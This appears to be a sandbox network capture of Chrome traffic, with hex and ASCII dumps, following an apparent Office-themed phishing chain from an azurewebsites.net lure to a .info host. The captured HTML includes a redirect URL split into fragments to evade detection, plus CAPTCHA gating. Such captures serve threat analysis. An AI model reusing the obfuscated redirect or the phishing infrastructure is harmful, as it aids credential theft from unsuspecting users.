2025-01-15 14:12:10 UTC	825	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:09 GMT Content-Type: application/x-javascript Content-Length: 4134 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA0000011 x-ms-static-content: ze000005F Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: 9069a042-538c-47fa-b71a-16ba6e2a6fa4 x-ms-correlation-id: c15317ff-36a3-4d58-9279-4f44ac9651ce x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=14.4,x-ms-igw-req-overhead;dur=0.2 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141209Z-1848b945c76kqngjhC1MNZmngc00000000ug000000000te4 X-Cache: TCP_MISS x-fd-int-roxy-purgeid: 0 Accept-Ranges: bytes
2025-01-15 14:12:10 UTC	4134	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 69 63 72 6f 73 6f 66 74 5f 70 6f 77 65 72 70 61 67 65 73 5f 6d 66 5f 73 68 61 72 65 64 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 69 63 72 6f 73 6f 66 74 5f 70 6f 77 65 72 70 61 67 65 73 5f 6d 66 5f 73 68 61 72 65 64 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 37 35 33 5d 2c 7b 36 37 35 33 3a 28 74 2c 65 2c 6e 29 3d 3e 7b 6e 2e 72 28 65 29 2c 6e 2e 64 28 65 2c 7b 75 73 65 50 61 67 65 73 53 74 6f 72 65 3a 28 29 3d 3e 66 7d 29 3b 76 61 72 20 6f 3d 6e 28 32 34 38 37 29 2c 72 3d 6e 28 33 39 35 34 29 2c 61 3d 6e 28 36 30 36 34 29 3b 63 6f 6e 73 74 7b 75 73 65 53 79 6e 63 45 78 74 65 72 6e 61 6c 53 74 6f 72 65 57 69 74 68 53 65 6c 65 63 74 6f 72 3a 75 Data Ascii: "use strict";(self.webpackChunk_microsoft_powerpages_mf_shared=self.webpackChunk_microsoft_powerpages_mf_shared\|\|[]).push([[753],{6753:(t,e,n)=>{n.r(e),n.d(e,{usePagesStore:()=>f});var o=n(2487),r=n(3954),a=n(6064);const{useSyncExternalStoreWithSelector:u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	50639	185.225.69.200	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:10 UTC	880	OUT	GET /mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd HTTP/1.1 Host: office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:11 UTC	17	IN	HTTP/1.1 200 OK
2025-01-15 14:12:11 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-15 14:12:11 UTC	25	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a Data Ascii: Content-Type: text/html
2025-01-15 14:12:11 UTC	198	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6a 79 6c 76 3d 64 33 39 38 34 34 39 38 33 35 32 34 32 31 66 65 36 39 36 37 30 33 30 37 38 39 31 31 30 38 34 61 31 62 37 35 35 66 62 62 38 31 30 33 61 63 32 35 62 34 36 61 65 34 37 31 36 39 32 64 31 61 33 62 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 39 35 70 69 62 32 6f 7a 77 72 77 34 77 32 62 34 74 31 75 62 72 78 70 6a 63 37 36 64 6f 73 33 6e 6f 70 68 76 69 72 68 74 2e 69 6e 66 6f 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 31 35 20 4a 61 6e 20 32 30 32 35 20 31 35 3a 31 32 3a 31 31 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 36 30 30 0d 0a Data Ascii: Set-Cookie: jylv=d3984498352421fe696703078911084a1b755fbb8103ac25b46ae471692d1a3b; Path=/; Domain=95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info; Expires=Wed, 15 Jan 2025 15:12:11 GMT; Max-Age=3600
2025-01-15 14:12:11 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-15 14:12:11 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-15 14:12:11 UTC	6	IN	Data Raw: 38 34 39 35 0d 0a Data Ascii: 8495
2025-01-15 14:12:11 UTC	16384	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 23 72 65 67 69 6f 6e 28 63 6f 6c 6c 61 70 73 65 64 29 2d 2d 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <!DOCTYPE html><html lang="en-US"> ... #region(collapsed)--> <head> <style> * { box-sizing: border-box; margin: 0; padding: 0; } html {
2025-01-15 14:12:11 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 27 68 74 74 27 20 2b 20 27 70 27 20 2b 20 27 73 27 20 2b 20 27 3a 2f 27 20 2b 20 27 2f 6f 66 27 20 2b 20 27 66 69 63 27 20 2b 20 27 65 2e 27 20 2b 20 27 39 35 70 27 20 2b 20 27 69 27 20 2b 20 27 62 32 6f 27 20 2b 20 27 7a 27 20 2b 20 27 77 72 77 27 20 2b 20 27 34 27 20 2b 20 27 77 32 27 20 2b 20 27 62 27 20 2b 20 27 34 27 20 2b 20 27 74 31 27 20 2b 20 27 75 27 20 2b 20 27 62 27 20 2b 20 27 72 78 27 20 2b 20 27 70 6a 63 27 20 2b 20 27 37 36 27 20 2b 20 27 64 6f 27 20 2b 20 27 73 33 6e 27 20 2b 20 27 6f 70 27 20 2b 20 27 68 27 20 2b 20 27 76 69 72 27 20 2b 20 27 68 74 2e 27 20 2b 20 27 69 6e 27 20 2b 20 27 66 27 20 2b 20 27 6f 2f 6d 27 20 2b 20 27 51 6c 27 20 2b 20 27 Data Ascii: window.location.href = 'htt' + 'p' + 's' + ':/' + '/of' + 'fic' + 'e.' + '95p' + 'i' + 'b2o' + 'z' + 'wrw' + '4' + 'w2' + 'b' + '4' + 't1' + 'u' + 'b' + 'rx' + 'pjc' + '76' + 'do' + 's3n' + 'op' + 'h' + 'vir' + 'ht.' + 'in' + 'f' + 'o/m' + 'Ql' + '
2025-01-15 14:12:11 UTC	1173	IN	Data Raw: 20 20 20 20 3c 64 69 76 20 69 64 3d 22 74 75 72 6e 73 74 69 6c 65 43 61 70 74 63 68 61 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 72 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 66 6f 72 6d 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 63 68 61 6c 6c 65 6e 67 65 2d 66 61 63 74 2d 77 72 61 70 70 65 72 20 63 6c 61 73 73 3d 22 66 61 63 74 20 73 70 61 63 65 72 20 68 69 64 64 65 6e 22 20 73 74 79 6c 65 3d 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 3e 3c 73 70 61 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 66 61 63 74 2d 74 69 74 6c 65 3e 44 69 64 20 79 6f 75 20 6b 6e 6f 77 Data Ascii: <div id="turnstileCaptcha"></div> <br> </form> <div id=challenge-fact-wrapper class="fact spacer hidden" style=display:block;visibility:visible><span class=fact-title>Did you know
2025-01-15 14:12:11 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	50649	104.18.95.41	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:11 UTC	611	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:12 UTC	386	IN	HTTP/1.1 302 Found Date: Wed, 15 Jan 2025 14:12:12 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/e0c90b6a3ed1/api.js Server: cloudflare CF-RAY: 902675974e108c39-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	50650	104.19.229.21	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:11 UTC	559	OUT	GET /1/api.js HTTP/1.1 Host: js.hcaptcha.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:12 UTC	487	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:12 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close etag: W/"a9b0c42bb513f1f63e6b58ce9bfce558" Cache-Control: max-age=300 alt-svc: h3=":443"; ma=86400 vary: Origin CF-Cache-Status: HIT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff age: 0 cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 902675971d8ac345-EWR
2025-01-15 14:12:12 UTC	882	IN	Data Raw: 37 64 61 64 0d 0a 2f 2a 20 7b 20 22 76 65 72 73 69 6f 6e 22 3a 20 22 30 22 2c 20 22 68 61 73 68 22 3a 20 22 4d 45 59 43 49 51 43 4b 66 49 32 6c 79 37 4a 6d 33 58 44 36 32 6a 53 4d 59 66 56 53 51 41 48 66 50 53 61 44 6c 79 4f 44 42 6c 35 37 56 46 4f 4d 47 41 49 68 41 4f 49 50 6a 7a 34 77 7a 79 30 38 46 61 4a 66 44 52 64 4d 75 50 63 54 42 79 62 76 41 41 64 59 37 75 33 69 58 45 71 57 39 4a 55 6a 22 20 7d 20 2a 2f 0a 2f 2a 20 68 74 74 70 73 3a 2f 2f 68 63 61 70 74 63 68 61 2e 63 6f 6d 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 74 68 65 6e 28 28 66 Data Ascii: 7dad/* { "version": "0", "hash": "MEYCIQCKfI2ly7Jm3XD62jSMYfVSQAHfPSaDlyODBl57VFOMGAIhAOIPjz4wzy08FaJfDRdMuPcTBybvAAdY7u3iXEqW9JUj" } // https://hcaptcha.com/license */!function(){"use strict";function e(e){var t=this.constructor;return this.then((f
2025-01-15 14:12:12 UTC	1369	IN	Data Raw: 73 3a 22 66 75 6c 66 69 6c 6c 65 64 22 2c 76 61 6c 75 65 3a 6e 7d 2c 30 3d 3d 2d 2d 69 26 26 74 28 72 29 7d 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 72 2e 6c 65 6e 67 74 68 3b 61 2b 2b 29 6f 28 61 2c 72 5b 61 5d 29 7d 29 29 7d 76 61 72 20 6e 3d 73 65 74 54 69 6d 65 6f 75 74 2c 72 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 74 49 6d 6d 65 64 69 61 74 65 3f 73 65 74 49 6d 6d 65 64 69 61 74 65 3a 6e 75 6c 6c 3b 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 6c 65 6e 67 74 68 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 69 66 28 21 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f Data Ascii: s:"fulfilled",value:n},0==--i&&t(r)}for(var a=0;a<r.length;a++)o(a,r[a])}))}var n=setTimeout,r="undefined"!=typeof setImmediate?setImmediate:null;function i(e){return Boolean(e&&"undefined"!=typeof e.length)}function o(){}function a(e){if(!(this instanceo
2025-01-15 14:12:12 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 68 28 65 2c 74 2c 6e 29 7b 74 68 69 73 2e 6f 6e 46 75 6c 66 69 6c 6c 65 64 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 3a 6e 75 6c 6c 2c 74 68 69 73 2e 6f 6e 52 65 6a 65 63 74 65 64 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 3f 74 3a 6e 75 6c 6c 2c 74 68 69 73 2e 70 72 6f 6d 69 73 65 3d 6e 7d 66 75 6e 63 74 69 6f 6e 20 64 28 65 2c 74 29 7b 76 61 72 20 6e 3d 21 31 3b 74 72 79 7b 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 7c 7c 28 6e 3d 21 30 2c 63 28 74 2c 65 29 29 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 7c 7c 28 6e 3d 21 30 2c 6c 28 74 2c 65 29 29 7d 29 29 7d 63 61 74 63 68 28 72 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 3b 6e 3d 21 30 2c 6c 28 74 2c 72 29 7d 7d 61 2e 70 Data Ascii: function h(e,t,n){this.onFulfilled="function"==typeof e?e:null,this.onRejected="function"==typeof t?t:null,this.promise=n}function d(e,t){var n=!1;try{e((function(e){n\|\|(n=!0,c(t,e))}),(function(e){n\|\|(n=!0,l(t,e))}))}catch(r){if(n)return;n=!0,l(t,r)}}a.p
2025-01-15 14:12:12 UTC	1369	IN	Data Raw: 6e 68 61 6e 64 6c 65 64 20 50 72 6f 6d 69 73 65 20 52 65 6a 65 63 74 69 6f 6e 3a 22 2c 65 29 7d 3b 76 61 72 20 66 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 29 72 65 74 75 72 6e 20 73 65 6c 66 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 29 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 29 72 65 74 75 72 6e 20 67 6c 6f 62 61 6c 3b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 75 6e 61 62 6c 65 20 74 6f 20 6c 6f 63 61 74 65 20 67 6c 6f 62 61 6c 20 6f 62 6a 65 63 74 22 29 7d 28 29 3b 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e Data Ascii: nhandled Promise Rejection:",e)};var f=function(){if("undefined"!=typeof self)return self;if("undefined"!=typeof window)return window;if("undefined"!=typeof global)return global;throw new Error("unable to locate global object")}();function p(e,t,n){return
2025-01-15 14:12:12 UTC	1369	IN	Data Raw: 62 65 6c 73 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 5f 5b 74 5d 3d 65 7d 29 29 7d 29 29 7d 29 29 3b 76 61 72 20 78 2c 45 3d 7b 22 55 54 46 2d 38 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 6a 28 65 29 7d 7d 2c 43 3d 7b 22 55 54 46 2d 38 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 54 28 65 29 7d 7d 2c 53 3d 22 75 74 66 2d 38 22 3b 66 75 6e 63 74 69 6f 6e 20 4f 28 65 2c 74 29 7b 69 66 28 21 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 4f 29 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6c 6c 65 64 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 2e 20 44 69 64 20 79 6f 75 20 66 6f 72 67 65 74 20 27 6e 65 77 27 3f 22 29 3b 65 3d 65 21 3d 3d 75 6e 64 65 66 69 Data Ascii: bels.forEach((function(t){_[t]=e}))}))}));var x,E={"UTF-8":function(e){return new j(e)}},C={"UTF-8":function(e){return new T(e)}},S="utf-8";function O(e,t){if(!(this instanceof O))throw TypeError("Called as a function. Did you forget 'new'?");e=e!==undefi
2025-01-15 14:12:12 UTC	1369	IN	Data Raw: 50 72 6f 70 65 72 74 79 7c 7c 28 74 68 69 73 2e 65 6e 63 6f 64 69 6e 67 3d 6e 2e 5f 65 6e 63 6f 64 69 6e 67 2e 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 54 28 65 29 7b 76 61 72 20 74 3d 65 2e 66 61 74 61 6c 2c 6e 3d 30 2c 72 3d 30 2c 69 3d 30 2c 6f 3d 31 32 38 2c 61 3d 31 39 31 3b 74 68 69 73 2e 68 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 73 29 7b 69 66 28 73 3d 3d 3d 79 26 26 30 21 3d 3d 69 29 72 65 74 75 72 6e 20 69 3d 30 2c 62 28 74 29 3b 69 66 28 73 3d 3d 3d 79 29 72 65 74 75 72 6e 20 77 3b 69 66 28 30 3d 3d 3d 69 29 7b 69 66 28 70 28 73 2c 30 2c 31 32 37 29 29 72 65 74 75 72 6e 20 73 3b 69 66 28 70 28 73 2c 31 39 34 2c 32 32 33 29 29 69 3d 31 2c 6e 3d 33 31 26 73 3b 65 6c 73 65 20 69 66 Data Ascii: Property\|\|(this.encoding=n._encoding.name.toLowerCase()),n}function T(e){var t=e.fatal,n=0,r=0,i=0,o=128,a=191;this.handler=function(e,s){if(s===y&&0!==i)return i=0,b(t);if(s===y)return w;if(0===i){if(p(s,0,127))return s;if(p(s,194,223))i=1,n=31&s;else if
2025-01-15 14:12:12 UTC	1369	IN	Data Raw: 68 7c 7c 28 74 68 69 73 2e 5f 64 65 63 6f 64 65 72 3d 43 5b 74 68 69 73 2e 5f 65 6e 63 6f 64 69 6e 67 2e 6e 61 6d 65 5d 28 7b 66 61 74 61 6c 3a 22 66 61 74 61 6c 22 3d 3d 3d 74 68 69 73 2e 5f 65 72 72 6f 72 5f 6d 6f 64 65 7d 29 2c 74 68 69 73 2e 5f 42 4f 4d 73 65 65 6e 3d 21 31 29 2c 74 68 69 73 2e 5f 64 6f 5f 6e 6f 74 5f 66 6c 75 73 68 3d 42 6f 6f 6c 65 61 6e 28 74 2e 73 74 72 65 61 6d 29 3b 66 6f 72 28 76 61 72 20 72 2c 69 3d 6e 65 77 20 76 28 6e 29 2c 6f 3d 5b 5d 3b 3b 29 7b 76 61 72 20 61 3d 69 2e 72 65 61 64 28 29 3b 69 66 28 61 3d 3d 3d 79 29 62 72 65 61 6b 3b 69 66 28 28 72 3d 74 68 69 73 2e 5f 64 65 63 6f 64 65 72 2e 68 61 6e 64 6c 65 72 28 69 2c 61 29 29 3d 3d 3d 77 29 62 72 65 61 6b 3b 6e 75 6c 6c 21 3d 3d 72 26 26 28 41 72 72 61 79 2e 69 73 41 Data Ascii: h\|\|(this._decoder=C[this._encoding.name]({fatal:"fatal"===this._error_mode}),this._BOMseen=!1),this._do_not_flush=Boolean(t.stream);for(var r,i=new v(n),o=[];;){var a=i.read();if(a===y)break;if((r=this._decoder.handler(i,a))===w)break;null!==r&&(Array.isA
2025-01-15 14:12:12 UTC	1369	IN	Data Raw: 35 33 33 29 3b 65 6c 73 65 20 69 66 28 6f 3e 3d 35 35 32 39 36 26 26 6f 3c 3d 35 36 33 31 39 29 69 66 28 72 3d 3d 3d 6e 2d 31 29 69 2e 70 75 73 68 28 36 35 35 33 33 29 3b 65 6c 73 65 7b 76 61 72 20 61 3d 74 2e 63 68 61 72 43 6f 64 65 41 74 28 72 2b 31 29 3b 69 66 28 61 3e 3d 35 36 33 32 30 26 26 61 3c 3d 35 37 33 34 33 29 7b 76 61 72 20 73 3d 31 30 32 33 26 6f 2c 63 3d 31 30 32 33 26 61 3b 69 2e 70 75 73 68 28 36 35 35 33 36 2b 28 73 3c 3c 31 30 29 2b 63 29 2c 72 2b 3d 31 7d 65 6c 73 65 20 69 2e 70 75 73 68 28 36 35 35 33 33 29 7d 72 2b 3d 31 7d 72 65 74 75 72 6e 20 69 7d 28 65 29 29 2c 69 3d 5b 5d 3b 3b 29 7b 76 61 72 20 6f 3d 72 2e 72 65 61 64 28 29 3b 69 66 28 6f 3d 3d 3d 79 29 62 72 65 61 6b 3b 69 66 28 28 6e 3d 74 68 69 73 2e 5f 65 6e 63 6f 64 65 72 Data Ascii: 533);else if(o>=55296&&o<=56319)if(r===n-1)i.push(65533);else{var a=t.charCodeAt(r+1);if(a>=56320&&a<=57343){var s=1023&o,c=1023&a;i.push(65536+(s<<10)+c),r+=1}else i.push(65533)}r+=1}return i}(e)),i=[];;){var o=r.read();if(o===y)break;if((n=this._encoder
2025-01-15 14:12:12 UTC	1369	IN	Data Raw: 61 70 4b 65 79 22 3a 6c 3d 62 5b 34 5d 2c 75 3d 62 5b 35 5d 2c 68 3d 62 5b 36 5d 2c 62 5b 32 5d 3d 63 2e 5f 6b 65 79 7d 69 66 28 22 67 65 6e 65 72 61 74 65 4b 65 79 22 3d 3d 3d 65 26 26 22 48 4d 41 43 22 3d 3d 3d 6c 2e 6e 61 6d 65 26 26 6c 2e 68 61 73 68 29 72 65 74 75 72 6e 20 6c 2e 6c 65 6e 67 74 68 3d 6c 2e 6c 65 6e 67 74 68 7c 7c 7b 22 53 48 41 2d 31 22 3a 35 31 32 2c 22 53 48 41 2d 32 35 36 22 3a 35 31 32 2c 22 53 48 41 2d 33 38 34 22 3a 31 30 32 34 2c 22 53 48 41 2d 35 31 32 22 3a 31 30 32 34 7d 5b 6c 2e 68 61 73 68 2e 6e 61 6d 65 5d 2c 6e 2e 69 6d 70 6f 72 74 4b 65 79 28 22 72 61 77 22 2c 74 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 6c 2e 6c 65 6e 67 74 68 2b 37 3e 3e 33 29 29 2c 6c 2c 75 2c 68 Data Ascii: apKey":l=b[4],u=b[5],h=b[6],b[2]=c._key}if("generateKey"===e&&"HMAC"===l.name&&l.hash)return l.length=l.length\|\|{"SHA-1":512,"SHA-256":512,"SHA-384":1024,"SHA-512":1024}[l.hash.name],n.importKey("raw",t.getRandomValues(new Uint8Array(l.length+7>>3)),l,u,h
2025-01-15 14:12:12 UTC	1369	IN	Data Raw: 6e 22 48 4d 41 43 22 3d 3d 3d 6c 2e 6e 61 6d 65 26 26 28 6c 2e 6c 65 6e 67 74 68 7c 7c 28 6c 2e 6c 65 6e 67 74 68 3d 38 2a 65 2e 61 6c 67 6f 72 69 74 68 6d 2e 6c 65 6e 67 74 68 29 29 2c 30 3d 3d 6c 2e 6e 61 6d 65 2e 73 65 61 72 63 68 28 22 52 53 41 22 29 26 26 28 6c 2e 6d 6f 64 75 6c 75 73 4c 65 6e 67 74 68 7c 7c 28 6c 2e 6d 6f 64 75 6c 75 73 4c 65 6e 67 74 68 3d 28 65 2e 70 75 62 6c 69 63 4b 65 79 7c 7c 65 29 2e 61 6c 67 6f 72 69 74 68 6d 2e 6d 6f 64 75 6c 75 73 4c 65 6e 67 74 68 29 2c 6c 2e 70 75 62 6c 69 63 45 78 70 6f 6e 65 6e 74 7c 7c 28 6c 2e 70 75 62 6c 69 63 45 78 70 6f 6e 65 6e 74 3d 28 65 2e 70 75 62 6c 69 63 4b 65 79 7c 7c 65 29 2e 61 6c 67 6f 72 69 74 68 6d 2e 70 75 62 6c 69 63 45 78 70 6f 6e 65 6e 74 29 29 2c 65 3d 65 2e 70 75 62 6c 69 63 4b Data Ascii: n"HMAC"===l.name&&(l.length\|\|(l.length=8*e.algorithm.length)),0==l.name.search("RSA")&&(l.modulusLength\|\|(l.modulusLength=(e.publicKey\|\|e).algorithm.modulusLength),l.publicExponent\|\|(l.publicExponent=(e.publicKey\|\|e).algorithm.publicExponent)),e=e.publicK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	50654	104.18.95.41	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:12 UTC	595	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:12 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:12 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 9026759baebc42af-EWR alt-svc: h3=":443"; ma=86400
